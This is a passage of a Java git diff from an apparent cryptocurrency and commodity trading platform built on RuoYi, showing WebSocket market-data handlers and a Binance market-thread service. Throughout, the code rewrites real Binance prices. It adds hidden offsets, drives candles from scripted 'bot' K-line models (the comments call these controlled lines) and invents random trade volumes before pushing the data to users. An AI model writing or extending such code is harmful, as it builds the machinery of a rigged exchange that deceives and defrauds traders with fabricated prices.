currentlyPrice.multiply(tBotKlineModelInfo1.getHigh().divide(new BigDecimal("100"), 4, RoundingMode.HALF_UP)); + klineTickBean.setHigh(currentlyPrice.add(high)); + //最低价 + BigDecimal low = currentlyPrice.multiply(tBotKlineModelInfo1.getLow().divide(new BigDecimal("100"), 4, RoundingMode.HALF_UP)); + klineTickBean.setLow(currentlyPrice.add(low)); + //放入开盘价 + BigDecimal open = currentlyPrice.multiply(tBotKlineModelInfo1.getOpen().divide(new BigDecimal("100"), 4, RoundingMode.HALF_UP)); + klineTickBean.setOpen(currentlyPrice.add(open)); + + // 获取当前时间 + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + //id要为当前分钟的整分 要不k线会混乱 + klineTickBean.setId(currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli()); + //获取当前秒数 + int currentSecond = currentTime.getSecond(); + int secondsToNextMinute = 60 - currentSecond; + //时间剩余5秒不跳了 保证k线与控线一致。 + if(secondsToNextMinute<5){ + high = currentlyPrice.multiply(tBotKlineModelInfo1.getHigh().divide(new BigDecimal("100"), 8, RoundingMode.HALF_UP)); + klineTickBean.setHigh(currentlyPrice.add(high)); + low = currentlyPrice.multiply(tBotKlineModelInfo1.getLow().divide(new BigDecimal("100"), 8, RoundingMode.HALF_UP)); + klineTickBean.setLow(currentlyPrice.add(low)); + BigDecimal close = currentlyPrice.multiply(tBotKlineModelInfo1.getClose().divide(new BigDecimal("100"), 8, RoundingMode.HALF_UP)); + klineTickBean.setClose(currentlyPrice.add(close)); + klineTickBean.setOpen(currentlyPrice.add(open)); + KLoader.BOT_PRICE.put(coin,currentlyPrice.add(close)); + }else{ + Long ts = klineDTO.getTs(); + //分 + String mm = getMM(ts); + String ss = getSS(ts); + //最高价 -最低价 + BigDecimal subtract = klineTickBean.getHigh().subtract(klineTickBean.getLow()); + //随机次数模拟为15次 一分钟跳动的次数 + BigDecimal mean = subtract.divide(new BigDecimal(30),8,RoundingMode.HALF_UP); + //涨 + if(tBotKlineModelInfo1.getOpen().compareTo(tBotKlineModelInfo1.getClose())<0){ + String s = KLoader.BOT_TIME_MAP.get(coin); + if(s.equals("0")){//第一次进来时候 第一个价格必须上一个的封盘价 + klineTickBean.setOpen(currentlyPrice); + klineTickBean.setLow(currentlyPrice); + klineTickBean.setHigh(currentlyPrice); + klineTickBean.setClose(currentlyPrice); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,currentlyPrice); + }else if(!s.equals(mm)){ + //不相等就是新的一分钟 + //新的一分钟需要获取当时的开盘价。 + klineTickBean.setLow(klineTickBean.getOpen()); + klineTickBean.setHigh(klineTickBean.getOpen()); + klineTickBean.setClose(klineTickBean.getOpen()); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + //相等就是同一分钟内 要缓慢增加。 + BigDecimal price = KLoader.BOT_PRICE.get(coin); + BigDecimal addPrice = price.add(mean); + Map bpm = KLoader.BOT_PRICE_MAP.get(coin); + String flag = bpm.get(mm); + if(flag.equals("0")){ + //给个最低价格 + klineTickBean.setHigh(price); + klineTickBean.setClose(klineTickBean.getLow()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + bpm.put(mm,ss); + }else{ + if(addPrice.compareTo(klineTickBean.getHigh())>0){ + klineTickBean.setHigh(klineTickBean.getHigh()); + klineTickBean.setClose(klineTickBean.getHigh()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else if(addPrice.compareTo(klineTickBean.getLow())<0){ + klineTickBean.setClose(klineTickBean.getLow()); + klineTickBean.setLow(klineTickBean.getLow()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + klineTickBean.setHigh(addPrice); + klineTickBean.setClose(addPrice); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + } + } + } + }else{//跌 + String s = KLoader.BOT_TIME_MAP.get(coin); + if(s.equals("0")){ + //第一次进来时候 第一个价格必须上一个的封盘价 + klineTickBean.setOpen(currentlyPrice); + klineTickBean.setLow(currentlyPrice); + klineTickBean.setHigh(currentlyPrice); + klineTickBean.setClose(currentlyPrice); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,currentlyPrice); + }else if(!s.equals(mm)){ + //不相等就是新的一分钟 + // 新的一分钟需要获取当时的开盘价。 + klineTickBean.setLow(klineTickBean.getOpen()); + klineTickBean.setHigh(klineTickBean.getOpen()); + klineTickBean.setClose(klineTickBean.getOpen()); + HashMap priMap = new HashMap<>(); + priMap.put(mm,"0"); + KLoader.BOT_PRICE_MAP.put(coin,priMap); + KLoader.BOT_TIME_MAP.put(coin,mm); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + //相等就是同一分钟内 要缓慢减少。 + BigDecimal price = KLoader.BOT_PRICE.get(coin); + BigDecimal subPrice = price.subtract(mean); + Map bpm = KLoader.BOT_PRICE_MAP.get(coin); + String flag = bpm.get(mm); + if(flag.equals("0")){ + //给个最高价格 + klineTickBean.setLow(klineTickBean.getHigh()); + klineTickBean.setClose(klineTickBean.getHigh()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + bpm.put(mm,ss); + }else{ + if(subPrice.compareTo(klineTickBean.getLow())<0){ + klineTickBean.setClose(klineTickBean.getLow()); + klineTickBean.setLow(klineTickBean.getLow()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else if(subPrice.compareTo(klineTickBean.getHigh())>0){ + klineTickBean.setHigh(klineTickBean.getHigh()); + klineTickBean.setClose(klineTickBean.getHigh()); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + }else{ + klineTickBean.setClose(subPrice); + klineTickBean.setLow(subPrice); + KLoader.BOT_PRICE.put(coin,klineTickBean.getClose()); + } + } + } + } + } + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(cacheMapc.replace("bot-","")); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + } + } + public String getYMDHM(Long timestamp){ + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + // 使用 Date 类将时间戳转换为日期对象 + Date date = new Date(timestamp); + // 使用 SimpleDateFormat 格式化日期对象为字符串 + String formattedDate = sdf.format(date); + // 提取分钟(mm)和秒(ss) + + String mm = formattedDate.substring(0, 16); + return mm; + } + public String getMM(Long timestamp){ + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + // 使用 Date 类将时间戳转换为日期对象 + Date date = new Date(timestamp); + // 使用 SimpleDateFormat 格式化日期对象为字符串 + String formattedDate = sdf.format(date); + // 提取分钟(mm)和秒(ss) + + String mm = formattedDate.substring(14, 16); + return mm; + } + public String getSS(Long timestamp){ + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + // 使用 Date 类将时间戳转换为日期对象 + Date date = new Date(timestamp); + // 使用 SimpleDateFormat 格式化日期对象为字符串 + String formattedDate = sdf.format(date); + // 提取分钟(mm)和秒(ss) + String ss = formattedDate.substring(17, 19); + return ss; + } + + @Async("socketThread") + public void binanceDETAILSendMeg(String event){ + JSONObject jsonObject = JSONObject.parseObject(event); + BinanceDTO klineDTO = new BinanceDTO(); + DetailTickBean klineTickBean = new DetailTickBean(); + klineDTO.setTs(jsonObject.getLong("E")); + klineDTO.setCh(jsonObject.getString("e")); + klineTickBean.setId(jsonObject.getLong("E")); + WsVO wsVO = new WsVO(); + wsVO.setType("DETAIL"); + String coin = jsonObject.getString("s").toLowerCase().replace("usdt",""); + wsVO.setSymbol(coin); + String conPriceAndId = redisCache.getCacheObject("con-" +coin); + if(conPriceAndId!=null){ + HashMap stringBigDecimalHashMap =tBotKlineModelService.getyesterdayPrice(); + BigDecimal addPrice = stringBigDecimalHashMap.get(coin + "usdt"); + if(addPrice==null){ + addPrice=BigDecimal.ZERO; + } + + klineTickBean.setHigh(new BigDecimal(jsonObject.getString("h"))); + klineTickBean.setLow(new BigDecimal(jsonObject.getString("l"))); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o")).add(addPrice)); + klineTickBean.setClose(KLoader.BOT_PRICE.get(coin)); + if(klineTickBean.getHigh().compareTo(klineTickBean.getClose())<0){ + klineTickBean.setHigh(klineTickBean.getClose()); + } + if(klineTickBean.getLow().compareTo(klineTickBean.getClose())>0){ + klineTickBean.setLow(klineTickBean.getClose()); + } + }else { + Map cacheMap = KLoader.BOT_MAP.get("bot-" + coin); + if(cacheMap!=null&&cacheMap.size()>0){ + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1 = tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(null!=tBotKlineModelInfo1&&!tBotKlineModelInfo1.getY().equals("0")){ + BigDecimal botPrice = KLoader.BOT_PRICE.get(coin); + klineTickBean.setHigh(botPrice); + klineTickBean.setLow(botPrice); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o"))); + klineTickBean.setClose(botPrice); + }else{ + klineTickBean.setHigh(new BigDecimal(jsonObject.getString("h"))); + klineTickBean.setLow(new BigDecimal(jsonObject.getString("l"))); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o"))); + klineTickBean.setClose(new BigDecimal(jsonObject.getString("c"))); + } + }else { + klineTickBean.setHigh(new BigDecimal(jsonObject.getString("h"))); + klineTickBean.setLow(new BigDecimal(jsonObject.getString("l"))); + klineTickBean.setOpen(new BigDecimal(jsonObject.getString("o"))); + klineTickBean.setClose(new BigDecimal(jsonObject.getString("c"))); + } + } + klineTickBean.setVol(new BigDecimal(jsonObject.getString("v"))); + klineTickBean.setCount(new BigDecimal(jsonObject.getString("n"))); + klineTickBean.setAmount(new BigDecimal(jsonObject.getString("q"))); + klineDTO.setTick(klineTickBean); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void mt5DETAILSendMeg(String event,String symbol){ + JSONObject jsonObject = JSONObject.parseObject(event); + BinanceDTO klineDTO = new BinanceDTO(); + DetailTickBean klineTickBean = new DetailTickBean(); + JSONArray t = jsonObject.getJSONArray("t"); + JSONArray h = jsonObject.getJSONArray("h"); + JSONArray l = jsonObject.getJSONArray("l"); + JSONArray o = jsonObject.getJSONArray("o"); + JSONArray c = jsonObject.getJSONArray("c"); + if(t.size()<=0 ||h.size()<=0 ||l.size()<=0 ||o.size()<=0 ||c.size()<=0){ + return; + } + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))); + klineDTO.setCh("symbol"); + RedisCache redis = SpringContextUtil.getBean(RedisCache.class); + klineTickBean.setId((Long.parseLong((String) jsonObject.getJSONArray("t").get(0)))); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + redis.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+symbol,klineTickBean.getClose()); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("DETAIL"); + wsVO.setSymbol(symbol); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void metalDETAILSendMeg(String event,String symbol){ + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + JSONObject jsonObject = JSONObject.parseObject(event); + BinanceDTO klineDTO = new BinanceDTO(); + DetailTickBean klineTickBean = new DetailTickBean(); + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))*1000); + klineDTO.setCh("symbol"); + RedisCache redis = SpringContextUtil.getBean(RedisCache.class); + + klineTickBean.setId((currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli())); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + redis.setCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+symbol,klineTickBean.getClose()); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("DETAIL"); + wsVO.setSymbol(symbol); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void mt5KlineSendMeg(String event,String symbol){ + if(null==event||event.equals("")){ + return; + } + + JSONObject jsonObject = JSONObject.parseObject(event); + if(jsonObject.getJSONArray("t").size()<1){ + return; + } + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))); + klineDTO.setCh(symbol); + + klineTickBean.setId((Long.parseLong((String) jsonObject.getJSONArray("t").get(0)))); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(symbol.toLowerCase()); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void metalKlineSendMeg(String event,String symbol){ + if(null==event||event.equals("")){ + return; + } + + JSONObject jsonObject = JSONObject.parseObject(event); + if(jsonObject.getJSONArray("t").size()<1){ + return; + } + // 获取当前时间 + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineDTO.setTs(Long.parseLong((String) jsonObject.getJSONArray("t").get(0))*1000); + klineDTO.setCh(symbol); + klineTickBean.setId((currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli())); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(symbol.toLowerCase()); + wsVO.setData(klineDTO); + toSendMessage(wsVO); + } + @Async("socketThread") + public void binanceTRADESendMeg(String event){ + WsVO wsVO = new WsVO(); + ArrayList dataBeans = new ArrayList<>(); + TradeTickBean tradeTickBean = new TradeTickBean(); + TradeDataBean tradeDataBean = new TradeDataBean(); + BinanceDTO tradeDTO = new BinanceDTO(); + JSONObject jsonObject = JSONObject.parseObject(event); + Long ts = jsonObject.getLong("E"); + String coin = jsonObject.getString("s").toLowerCase().replace("usdt",""); + BigDecimal price = new BigDecimal(jsonObject.getString("p")); + //业务数据 + wsVO.setType("TRADE"); + wsVO.setSymbol(coin); + tradeDTO.setTs(ts); + tradeDTO.setCh(jsonObject.getString("e")); + tradeTickBean.setId(ts); + tradeTickBean.setTs(ts); + tradeDataBean.setTs(ts); + tradeDataBean.setAmount(new BigDecimal(jsonObject.getString("q"))); + tradeDataBean.setDirection(jsonObject.getBoolean("m")?"sell":"buy"); + tradeDataBean.setPrice(price); + String conPriceAndId = redisCache.getCacheObject("con-" +coin); + //是否有控制 + if(conPriceAndId!=null){ + String[] split = conPriceAndId.split(","); + tradeDataBean.setPrice(price.add(new BigDecimal(split[0]))); + }else{ + //所有控线走btc的频率,也就是说如果控线了,处理btc的同时,也会处理被控制的币种. + if(coin.equals("bnb")) { + conTradeKline(tradeDataBean,tradeDTO,tradeTickBean); + wsVO.setSymbol(coin); + tradeDataBean.setAmount(new BigDecimal(jsonObject.getString("q"))); + tradeDataBean.setDirection(jsonObject.getBoolean("m")?"sell":"buy"); + tradeDataBean.setPrice(price); + if(KLoader.BOT_MAP.containsKey("bot-"+"bnb")){ + return; + } + }else { + if(KLoader.BOT_MAP.containsKey("bot-"+coin)){ + Map cacheMap = KLoader.BOT_MAP.get("bot-"+coin); + //因为btc 处理了 别的k先数据 ,如果不等于null 或者 Y不等于0直接返回 不处理 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo tBotKlineModelInfo1=tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(tBotKlineModelInfo1!=null&&!tBotKlineModelInfo1.getY().equals("0")){ + //控线不处理 因为走的btc的 在处理会导致价格不一致 + return; + } + } + + } + } + dataBeans.add(tradeDataBean); + tradeTickBean.setData(dataBeans); + tradeDTO.setTick(tradeTickBean); + wsVO.setData(tradeDTO); + toSendMessage(wsVO); + } + + @Async("socketThread") + public void crudeKlineSendMeg(String event,String symbol) { + if (StringUtils.isEmpty(event)) { + return; + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONArray tArray = jsonObject.getJSONArray("t"); + if (tArray == null || tArray.isEmpty()) { + return; + } + // 获取当前时间 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = LocalDateTime.now().withSecond(0).withNano(0); + BinanceDTO klineDTO = new BinanceDTO(); + KlineTickBean klineTickBean = new KlineTickBean(); + klineDTO.setTs(Long.parseLong((String) tArray.get(0)) * 1000); + klineDTO.setCh(symbol); + klineTickBean.setId((currentMinute.atZone(ZoneId.systemDefault()).toInstant().toEpochMilli())); + klineTickBean.setHigh(new BigDecimal((String) jsonObject.getJSONArray("h").get(0))); + klineTickBean.setLow(new BigDecimal((String) jsonObject.getJSONArray("l").get(0))); + klineTickBean.setOpen(new BigDecimal((String) jsonObject.getJSONArray("o").get(0))); + klineTickBean.setClose(new BigDecimal((String) jsonObject.getJSONArray("c").get(0))); + klineTickBean.setConPrice(new BigDecimal((String) jsonObject.getJSONArray("se").get(0))); + int min = 1000; // 定义随机数的最小值 + int max = 100000; // 定义随机数的最大值 + // 产生一个2~100的数 + int s = (int) min + (int) (Math.random() * (max - min)); + klineTickBean.setVol(new BigDecimal(s)); + klineDTO.setTick(klineTickBean); + WsVO wsVO = new WsVO(); + wsVO.setType("KLINE"); + wsVO.setSymbol(symbol.toLowerCase()); + wsVO.setData(klineDTO); + log.info(JSONObject.toJSONString(wsVO)); + toSendMessage(wsVO); + } + + private void conTradeKline(TradeDataBean tradeDataBean,BinanceDTO tradeDTO , TradeTickBean tradeTickBean){ + for (String cacheMapc: KLoader.BOT_MAP.keySet()) { + LocalDateTime currentTime = LocalDateTime.now(); + // 将秒和毫秒部分设置为零,以获得当前整分的时间 + LocalDateTime currentMinute = currentTime.withSecond(0).withNano(0); + //获取当前秒数 + int currentSecond = currentTime.getSecond(); + int secondsToNextMinute = 60 - currentSecond; + //时间剩余5秒不跳了 保证k线与控线一致。 + if(secondsToNextMinute<5){ + return; + } + WsVO wsVO = new WsVO(); + wsVO.setType("TRADE"); + ArrayList dataBeans = new ArrayList<>(); + HashMap cacheMap = KLoader.BOT_MAP.get(cacheMapc); + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId((Long)cacheMap.get("id")); + tBotKlineModelInfo.setDateTime(timestamp); + TBotKlineModelInfo info = tBotKlineModelInfoMapper.selectOne(new QueryWrapper<>(tBotKlineModelInfo)); + if(null!=info&&!info.getY().equals("0")) { + BigDecimal botPrice = KLoader.BOT_PRICE.get(cacheMapc.replace("bot-","")); + if(botPrice!=null){ + tradeDataBean.setPrice(botPrice); + }else { + return; + } + }else{ + return; + } + dataBeans.add(tradeDataBean); + tradeTickBean.setData(dataBeans); + tradeDTO.setTick(tradeTickBean); + wsVO.setSymbol(cacheMapc.replace("bot-","")); + wsVO.setData(tradeDTO); + toSendMessage(wsVO); + } + } + + + + + // 获取小数位个数 + public static int getNumberDecimalDigits(String number) { + if (!number.contains(".")) { + return 0; + } + return number.length() - (number.indexOf(".") + 1); + } + private static final String EU_BANK_XML_URL = "http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"; + + @Test + public void addition_isCorrect() throws Exception { + OkHttpClient client = new OkHttpClient(); + Request request = new Request.Builder().url(EU_BANK_XML_URL).build(); + Response response = client.newCall(request).execute(); + if (response != null && response.body() != null) { + String responceString = response.body().string(); + assertNotNull(responceString); + } + } + + public void savePriceRdies(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + RedisCache redis = redisCache; + BigDecimal decimal =new BigDecimal(jsonObject.getString("c")); + BigDecimal openPrice =new BigDecimal(jsonObject.getString("o")); + String s = jsonObject.getString("s").toLowerCase(); + String symbol = s.replace("usdt",""); + redis.setCacheObject(CachePrefix.CURRENCY_CLOSE_PRICE.getPrefix()+symbol,decimal); + redis.setCacheObject(CachePrefix.CURRENCY_OPEN_PRICE.getPrefix()+symbol,openPrice); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java new file mode 100644 index 0000000..f42689e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java @@ -0,0 +1,17 @@ +package com.ruoyi.socket.service; + +import java.net.URISyntaxException; +import java.util.Map; + +public interface MarketThread { + + + void marketThreadRun() ; + +/* void addCoinTheadRun(Map map );*/ + + void getAllPrice(); + + + void initMarketThreadRun() ; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java new file mode 100644 index 0000000..306d7fe --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java @@ -0,0 +1,294 @@ +package com.ruoyi.socket.service.impl; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.binance.connector.client.WebSocketStreamClient; +import com.binance.connector.client.impl.WebSocketStreamClientImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtil; +import com.ruoyi.socket.manager.BianaceWebSocketClient; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.socket.service.MarketThread; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.net.URISyntaxException; +import java.util.*; + + +@Service +@Slf4j +public class MarketThreadBinanceImpl implements MarketThread { + + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private IKlineSymbolService klineSymbolService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ITOwnCoinService ownCoinService; + + @Override + public void marketThreadRun(){ + try { + BianaceWebSocketClient klineClient = new BianaceWebSocketClient(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + for (String string : strings) { + klineClient.klineStream(string, "1m", ((event) -> { + webSocketUserManager.binanceKlineSendMeg(event); + String s = event; + //kline 逻辑 分发 和 控币 异步 + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownKline(s, kSymbol); + webSocketUserManager.binanceKlineSendMeg(event); + } + } + + s = createEvent(s); + webSocketUserManager.binanceTRADESendMeg(s); + for (KlineSymbol kSymbol : list) { + if((string.toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownTrade(s, kSymbol); + webSocketUserManager.binanceTRADESendMeg(event); + } + } + + })); + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private String createEvent(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + String k = jsonObject.getString("k"); + JSONObject K = JSONObject.parseObject(k); + + String s = jsonObject.getString("s"); + String E = jsonObject.getString("E"); + String T = K.getString("T"); + + BigDecimal p =new BigDecimal(K.getString("c")); + BigDecimal q = null; + // 根据价格 生成随机成交数量 0-1 50--2000 价格 1-10 200以内 价格 10-50 0-20 价格50-5000 0.00005000 以内随机数 5000+以上 0.000005000 + Integer randomBoolean=new Random().nextInt(2); //这儿是生成的小于100的整数,nextInt方法的参数值要是大于0的整数 + Boolean m = randomBoolean>0?true:false; + // 产生一个2~100的数 + if(p.compareTo(BigDecimal.ONE)<0){ + int min = 50; // 定义随机数的最小值 + int max = 2000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("1"))>0 && p.compareTo(new BigDecimal("10"))<0){ + int max = 2000; // 定义随机数的最大值 + Integer random = (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("10"))>0 && p.compareTo(new BigDecimal("50"))<0){ + int max = 20; // 定义随机数的最大值 + Integer random = + (int) (Math.random() * (max)); + q=new 